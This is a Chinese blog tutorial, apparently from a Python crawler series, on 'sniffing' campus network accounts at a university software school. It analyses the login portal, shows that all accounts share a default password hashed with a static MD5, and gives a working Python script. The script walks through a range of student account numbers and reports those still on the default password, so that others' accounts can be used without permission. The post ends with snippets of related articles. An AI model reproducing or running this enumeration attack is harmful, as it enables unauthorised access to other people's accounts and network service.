Python爬虫学习(7):浙大软院网号嗅探

  软院这边网速是挺不错的,而且在宿舍和实验室都是可以通过学号直接登陆的上网的,但是..有的时候实验室的台式机需要一个网号,笔记本需要一个网号,或者再加上一个路由器需要一个,然后,感觉网号托托的不够呀。刚开学分配网号的时候,每个人的密码都初始为同一个,嘿嘿。。。有些人其实懒得去改,或者是去了遥远的杭州,然后,这些网号可能闲置了,嘿嘿。所以这一次的目的就是嗅探这些没有更改过网号密码的网号,然后,你懂得。但是作为一个四好青年,我不会狠到去更改他们的密码,只是在他们没有上网的时候借用他们的网号,当他们要上网的时候其实可以通过强退让我下线,然后他们自己可以用。

1. 分析网络认证界面:

  其地址为: http://192.0.0.6/

  

  从下边的代码中我们可以发现,在处理登陆部分代码中使用了md5算法加密密码,其登陆需要的验证网址,所需要的参数:

  

  我们还可以通过浏览器帮助我们查看登陆的详情。用户名和密码点击登陆后,验证登陆信息的地址是: http://192.0.0.6/cgi-bin/do_login

  

  再查看以下登陆需要的参数,其中我输入的用户名和密码都是123456,很明显可以看出密码加密过了。

  

  加密了没关系,尝试了几次发现,虽然加密了,但是却用的静态的MD5加密,嘿嘿。。。,只要密码一样,每次加密的结果就会一样(-_-)。而我们这次仅仅是用初始密码来验证以下谁没有更改密码,所以我们用正确的密码尝试登陆一次,就可以获取它加密后的值应该是多少了,然后用这个值作为密码去模拟登陆,肯定是OK的啦。

  下来我们看一下POST数据的时候还有什么处理,其代码如下图。其中XMLHttpRequest 对象是名为 AJAX 的 关键功能,用于异步请求。这里设置了Content-Type,所以这项在模拟登陆的需要设置。

  

  看看请求的时候具体都发送了什么请求头,这里我们为了避免出错,这模拟登陆的时候最好将User-Agent用户代理信息加上。

  

  我们接着来看一下登陆之后的逻辑,成功之后代码如下图所示。如果登陆成功并返回一串数字的时候,就根据是否记住密码选项决定是否写Cookie。

  

  如果失败了就根据返回内容做决定:

      

2. 模拟登陆:

  根据上述的描述,我们尝试登陆以下:

#!/usr/bin/python
#! -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os

class Sniffer:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"
    def test(self):
        username="123456"
        password="123456"
        drop="0"
        # 直接从原始页面的代码中复制过来的
        data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        print res.read()
sniffer = Sniffer()
sniffer.test()

  上述运行结果为: username_error,用户错误。我们看一下总共有哪些返回信息:

         case "user_tab_error":
             alert("认证程序未启动");
             break;
         case "username_error":
             alert("用户名错误");
             break;
         case "non_auth_error":
             alert("您无须认证,可直接上网");
             break;
         case "password_error":
             alert("密码错误");break;
         case "status_error":
             alert("用户已欠费,请尽快充值。");
             break;
         case "available_error":
             alert("用户已禁用");
             break;
         case "ip_exist_error":
             alert("您的IP尚未下线,请等待2分钟再试。");
             break;
         case "usernum_error":
             alert("用户数已达上限");
             break;
         case "online_num_error":
             alert("该帐号的登录人数已超过限额\n如果怀疑帐号被盗用,请联系管理员。");
             break;
         case "mode_error":
             alert("系统已禁止WEB方式登录,请使用客户端");
             break;
         case "time_policy_error":
             alert("当前时段不允许连接");
             break;
         case "flux_error":
             alert("您的流量已超支");
             break;
         case "minutes_error":
             alert("您的时长已超支");
             break;
         case "ip_error":
             alert("您的IP地址不合法");
             break;
         case "mac_error":
             alert("您的MAC地址不合法");
             break;
         case "sync_error":
             alert("您的资料已修改,正在等待同步,请2分钟后再试。");
             break;
         default:
             alert("找不到认证服务器");
             break;        

  其中当返回为online_num_error,ip_exist_error,以及一串数字的时候(也就是登陆成功)的时候就表明用户名和密码是正确的(-_-),是的...就是这么简单。

  我们将username设置为网号范围的网号,遍历访问,而password就是初始密码经过md5加密过的密码,获取这个加密过的密码可以通过进入浏览器的查看界面(火狐是F12),然后输入初始密码,提交之后可以在,在参数一项中看到:

  

  下来我们就通过遍历来获取没有改过密码的网号:

#!/usr/bin/python
#! -*- coding:utf-8 -*-

import urllib
import urllib2
import re
import os

class Sniffer:
    def __init__(self):
        self.login_url = "http://192.0.0.6/cgi-bin/do_login"
        self.headers = {}
        self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
        self.headers["Content-Type"] = "application/x-www-form-urlencoded"
        # 密码正确的可呢返回结果
        self.right = ["ip_exist_error","online_num_error","usernum_error"]
        # 登陆成功后返回的结果是一串数字
        self.pattern = re.compile(r"^[\d]+$")
    def test(self):
        username="*********"
        password="*********"
        drop="0"
        # 直接从原始页面的代码中复制过来的
        data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        print res.read()
    def access(self,username):
        # 这个密码就是初始密码经过md5加密过的,下边这个是乱写的,防止泄密
        password="65da38ecd0b30a5a"
        drop="0"
        # 直接从原始页面的代码中复制过来的
        data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100"
        req = urllib2.Request(self.login_url,data=data,headers=self.headers)
        res = urllib2.urlopen(req)
        content = res.read()
        mat = re.match(self.pattern,content)
        # 登陆成功
        if mat:
            return True
        # 其它密码正确的情况
        if content in self.right:
            return True
        else:
            return False
    def trace(self,start,end):
        result = []
        for account in range(start,end):
            print "sniff "+str(account)
            if self.access(str(account)):
                print str(account)+" is avialable"
                result.append(str(account))
        return result
sniffer = Sniffer()
# 传入开始帐号和结束帐号,必须是整数类型
print sniffer.trace(2********,2********)

    执行上述脚本就会产生没有改过密码的帐号啦。

     执行结果显示有三分之一的同学都没有改密码,这个比例相当的高呀。

  

  

时间: 2024-10-03 09:39:23

Python爬虫学习(7):浙大软院网号嗅探的相关文章

Python爬虫学习(7):浙大软院网络登陆保持

在浏览器的验证窗口中输入登陆名和密码后,成功后会弹出一个小的新窗口,如果不小心关闭了这个窗口,则就会无法联网.如果说我在一个不带有桌面的Linux系统中,我是不能够通过浏览器接入网络的,虽然提供了不同系统的不同版本的客户端(没有用过),但是还是想自己做一个玩玩,同时依据上一篇博客中获取到的帐号进行尝试登陆. 1. 页面分析 首先还是先来看一下登陆验证页面,因为上一片博客中已经对其进行了分析,这里我们看看其它的: 上边的代码是登陆成功后设置 document.form1.uid.value 的值,

Python爬虫学习系列教程

Python爬虫学习系列教程 大家好哈,我呢最近在学习Python爬虫,感觉非常有意思,真的让生活可以方便很多.学习过程中我把一些学习的笔记总结下来,还记录了一些自己实际写的一些小爬虫,在这里跟大家一同分享,希望对Python爬虫感兴趣的童鞋有帮助,如果有机会期待与大家的交流. Python版本:2.7 一.爬虫入门 1. Python爬虫入门一之综述 2. Python爬虫入门二之爬虫基础了解 3. Python爬虫入门三之Urllib库的基本使用 4. Python爬虫入门四之Urllib库

Python爬虫学习:四、headers和data的获取

之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.com/ 打开网页,按下F12键,如下图所示: 点击下方标签中的Network,如下: 之后再点击下图所示位置: 找到红色下划线位置所示的标签并点击,在右边的显示内容中可以查看到所需要的headers信息. 一般只需要添加User-Agent这一信息就足够了,headers同样也是字典类型: user

Python爬虫学习:三、爬虫的基本操作流程

本文是博主原创随笔,转载时请注明出处Maple2cat|Python爬虫学习:三.爬虫的基本操作与流程 一般我们使用Python爬虫都是希望实现一套完整的功能,如下: 1.爬虫目标数据.信息: 2.将数据或信息存入数据库中: 3.数据展示,即在Web端进行显示,并有自己的分析说明. 这次我先介绍第一个功能中所需要实现的基本操作: 爬虫的基本操作:      表示必须步骤           表示可选步骤 导入爬虫所需要的库(如:urllib.urllib2.BeautifulSoup.Scrap

2018/7/21 Python 爬虫学习

2018/7/21,这几天整理出来的一些Python 爬虫学习代码. import urllib2 response = urllib2.urlopen("http://baidu.com") html = response.read() print html 进一步,可以request import urllib2 req = urllib2.Request("http://www.baidu.com") response = urllib2.urlopen(re

Python爬虫学习路线,强烈建议收藏这十一条

(一)如何学习Python 学习Python大致可以分为以下几个阶段: 1.刚上手的时候肯定是先过一遍Python最基本的知识,比如说:变量.数据结构.语法等,基础过的很快,基本上1~2周时间就能过完了,我当时是在这儿看的基础:Python 简介 | 菜鸟教程 2.看完基础后,就是做一些小项目巩固基础,比方说:做一个终端计算器,如果实在找不到什么练手项目,可以在 Codecademy - learn to code, interactively, for free 上面进行练习. 如果时间充裕的

开始我的Python爬虫学习之路

因为工作需要经常收集一些数据,我就想通过学爬虫来实现自动化完成比较重复的任务. 目前我Python的状况,跟着敲了几个教程,也算是懂点基础,具体比较深入的知识,是打算从做项目中慢慢去了解学习. 我是觉得如果一开始就钻细节的话,是很容易受到打击而放弃的,做点小项目让自己获得点成就感路才更容易更有信心走下去. 反正遇到不懂的就多查多问就对了. 知乎上看了很多关于入门Python爬虫的问答,给自己总结出了大概的学习方向. 基础: HTML&CSS,JOSN,HTTP协议(这些要了解,不太需要精通) R

Python实战:Python爬虫学习教程,获取电影排行榜

Python应用现在如火如荼,应用范围很广.因其效率高开发迅速的优势,快速进入编程语言排行榜前几名.本系列文章致力于可以全面系统的介绍Python语言开发知识和相关知识总结.希望大家能够快速入门并学习Python这门语言. 本文是在前一部分Python基础之上程序员带你十天快速入门Python,玩转电脑软件开发(四),再次进行的Python爬虫实战课程. 正则表达式实例简单详解 正则表达式干什么用? 就是在字符串中提取我们需要的内容的. 记得哦,要先引用正则表达式模块的哦. re就是正则表达式相

《Python爬虫学习系列教程》学习笔记

转自:http://cuiqingcai.com/1052.html 大家好哈,我呢最近在学习Python爬虫,感觉非常有意思,真的让生活可以方便很多.学习过程中我把一些学习的笔记总结下来,还记录了一些自己实际写的一些小爬虫,在这里跟大家一同分享,希望对Python爬虫感兴趣的童鞋有帮助,如果有机会期待与大家的交流. 一.Python入门 1. Python爬虫入门一之综述 2. Python爬虫入门二之爬虫基础了解 3. Python爬虫入门三之Urllib库的基本使用 4. Python爬虫